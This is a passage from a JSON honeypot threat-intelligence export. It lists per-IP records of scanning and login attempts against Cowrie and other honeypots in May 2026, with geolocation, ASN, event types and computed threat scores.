        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T20:14:41.246000+00:00",
        "last_seen_30d": "2026-05-24T01:28:07.174000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 11,
        "Ciscoasa": 5,
        "Honeytrap": 1
      }
    },
    "78.111.67.238": {
      "attack_count": 12,
      "first_seen": "2026-05-09T06:51:39.408Z",
      "last_seen": "2026-05-30T05:15:20.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:51:39.408000+00:00",
        "last_seen_30d": "2026-05-30T05:16:26.849000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "47.245.30.73": {
      "attack_count": 10,
      "first_seen": "2026-05-14T08:06:19.201Z",
      "last_seen": "2026-05-14T08:06:59.153Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.0,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T13:18:19+00:00",
        "last_seen_30d": "2026-05-25T12:08:11.682000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 12,
        "Cowrie": 10
      }
    },
    "120.28.212.118": {
      "attack_count": 8,
      "first_seen": "2026-05-19T03:38:14.949Z",
      "last_seen": "2026-05-19T04:12:03.178Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Davao City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:38:14.949000+00:00",
        "last_seen_30d": "2026-05-19T04:13:10.711000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "71.6.165.200": {
      "attack_count": 8,
      "first_seen": "2026-05-13T18:00:16.148Z",
      "last_seen": "2026-05-13T18:00:17.951Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T19:19:43.951000+00:00",
        "last_seen_30d": "2026-05-31T08:18:32.727000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 262,
        "Honeytrap": 93,
        "Cowrie": 8,
        "H0neytr4p": 5
      }
    },
    "64.62.197.107": {
      "attack_count": 7,
      "first_seen": "2026-05-20T09:43:52.333Z",
      "last_seen": "2026-05-20T09:43:52.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 30,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T01:46:52+00:00",
        "last_seen_30d": "2026-05-31T13:58:09.554000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Honeytrap": 85,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Cowrie": 7,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "103.195.100.210": {
      "attack_count": 6,
      "first_seen": "2026-05-27T11:49:54.693Z",
      "last_seen": "2026-05-27T11:50:01.608Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T11:49:54.693000+00:00",
        "last_seen_30d": "2026-05-27T11:51:07.702000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "51.77.85.238": {
      "attack_count": 6,
      "first_seen": "2026-05-03T00:35:32.921Z",
      "last_seen": "2026-05-03T00:35:40.576Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Limburg an der Lahn",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:35:32.921000+00:00",
        "last_seen_30d": "2026-05-03T00:36:48.091000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.227.124.3": {
      "attack_count": 6,
      "first_seen": "2026-05-26T07:24:47.410Z",
      "last_seen": "2026-05-26T07:24:48.037Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T07:24:47.410000+00:00",
        "last_seen_30d": "2026-05-26T07:25:57.525000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "85.121.4.10": {
      "attack_count": 6,
      "first_seen": "2026-05-11T19:16:56.257Z",
      "last_seen": "2026-05-11T19:16:58.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:16:56.257000+00:00",
        "last_seen_30d": "2026-05-11T19:18:02.663000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "94.102.49.193": {
      "attack_count": 6,
      "first_seen": "2026-05-30T06:41:09.127Z",
      "last_seen": "2026-05-30T06:41:10.987Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 356,
        "days_active_30d": 30,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:48:31.592000+00:00",
        "last_seen_30d": "2026-05-31T18:33:22.474000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 259,
        "Honeytrap": 85,
        "Cowrie": 6,
        "ConPot": 3,
        "Dionaea": 3
      }
    },
    "138.121.104.243": {
      "attack_count": 4,
      "first_seen": "2026-05-20T02:57:53.551Z",
      "last_seen": "2026-05-20T02:59:59.396Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:57:53.551000+00:00",
        "last_seen_30d": "2026-05-20T03:01:08.824000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "167.99.247.178": {
      "attack_count": 4,
      "first_seen": "2026-05-04T17:06:15.376Z",
      "last_seen": "2026-05-04T17:06:16.177Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T17:06:15.376000+00:00",
        "last_seen_30d": "2026-05-15T02:11:15.201000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Tanner": 8,
        "Cowrie": 4
      }
    },
    "190.119.112.102": {
      "attack_count": 4,
      "first_seen": "2026-05-08T02:34:02.062Z",
      "last_seen": "2026-05-15T12:01:25.244Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:34:02.062000+00:00",
        "last_seen_30d": "2026-05-15T12:02:35.205000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "202.90.93.237": {
      "attack_count": 4,
      "first_seen": "2026-05-19T09:02:39.431Z",
      "last_seen": "2026-05-19T11:53:29.815Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "French Polynesia",
      "country_code": "PF",
      "city": "Papeete",
      "asn": 9471,
      "as_org": "ONATI",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:02:39.431000+00:00",
        "last_seen_30d": "2026-05-19T11:54:35.211000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "44.201.224.240": {
      "attack_count": 4,
      "first_seen": "2026-05-12T00:56:47.212Z",
      "last_seen": "2026-05-12T00:56:53.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T01:00:06.145000+00:00",
        "last_seen_30d": "2026-05-12T00:57:58.978000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Ciscoasa": 1
      }
    },
    "45.156.129.190": {
      "attack_count": 4,
      "first_seen": "2026-05-11T23:46:37.965Z",
      "last_seen": "2026-05-11T23:46:45.966Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T19:15:04.698000+00:00",
        "last_seen_30d": "2026-05-12T19:15:07.346000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "64.62.197.150": {
      "attack_count": 4,
      "first_seen": "2026-05-11T10:46:38.678Z",
      "last_seen": "2026-05-11T10:46:42.768Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:54:40.377000+00:00",
        "last_seen_30d": "2026-05-31T14:07:06.978000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "66.132.172.137": {
      "attack_count": 4,
      "first_seen": "2026-05-12T16:11:22.507Z",
      "last_seen": "2026-05-12T16:11:37.949Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T20:33:26.315000+00:00",
        "last_seen_30d": "2026-05-31T17:31:41.960000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132,
        "Honeytrap": 28,
        "ElasticPot": 13,
        "Dionaea": 5,
        "Cowrie": 4,
        "Honeyaml": 3,
        "Sentrypeer": 1
      }
    },
    "66.222.147.155": {
      "attack_count": 4,
      "first_seen": "2026-05-11T20:13:58.769Z",
      "last_seen": "2026-05-11T20:17:59.540Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:13:58.769000+00:00",
        "last_seen_30d": "2026-05-11T20:19:03.422000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.231.89.143": {
      "attack_count": 4,
      "first_seen": "2026-05-08T23:57:08.746Z",
      "last_seen": "2026-05-08T23:57:09.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T06:05:15+00:00",
        "last_seen_30d": "2026-05-31T01:57:27.428000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 36,
        "Cowrie": 4
      }
    },
    "90.84.168.147": {
      "attack_count": 3,
      "first_seen": "2026-05-05T09:23:28.199Z",
      "last_seen": "2026-05-05T09:24:29.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 2280,
      "as_org": "Orange",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T09:23:28.199000+00:00",
        "last_seen_30d": "2026-05-05T09:25:40.140000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "102.36.149.1": {
      "attack_count": 2,
      "first_seen": "2026-05-05T10:34:54.113Z",
      "last_seen": "2026-05-05T10:35:25.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": null,
      "asn": 37682,
      "as_org": "TIZETI-AS",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:34:54.113000+00:00",
        "last_seen_30d": "2026-05-05T10:36:32.153000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.120.74.138": {
      "attack_count": 2,
      "first_seen": "2026-05-21T13:37:57.861Z",
      "last_seen": "2026-05-21T13:38:10.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:37:57.861000+00:00",
        "last_seen_30d": "2026-05-21T13:39:15.383000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.100.146.246": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:54:33.863Z",
      "last_seen": "2026-05-23T10:55:12.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:54:33.863000+00:00",
        "last_seen_30d": "2026-05-23T10:56:15.738000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.98.174.58": {
      "attack_count": 2,
      "first_seen": "2026-05-22T18:23:55.574Z",
      "last_seen": "2026-05-22T18:24:32.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:23:55.574000+00:00",
        "last_seen_30d": "2026-05-22T18:25:35.562000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.28.189.182": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:29:45.926Z",
      "last_seen": "2026-05-22T17:30:19.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:29:45.926000+00:00",
        "last_seen_30d": "2026-05-22T17:31:24.926000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.234.192.107": {
      "attack_count": 2,
      "first_seen": "2026-05-17T11:54:43.284Z",
      "last_seen": "2026-05-17T11:54:56.432Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
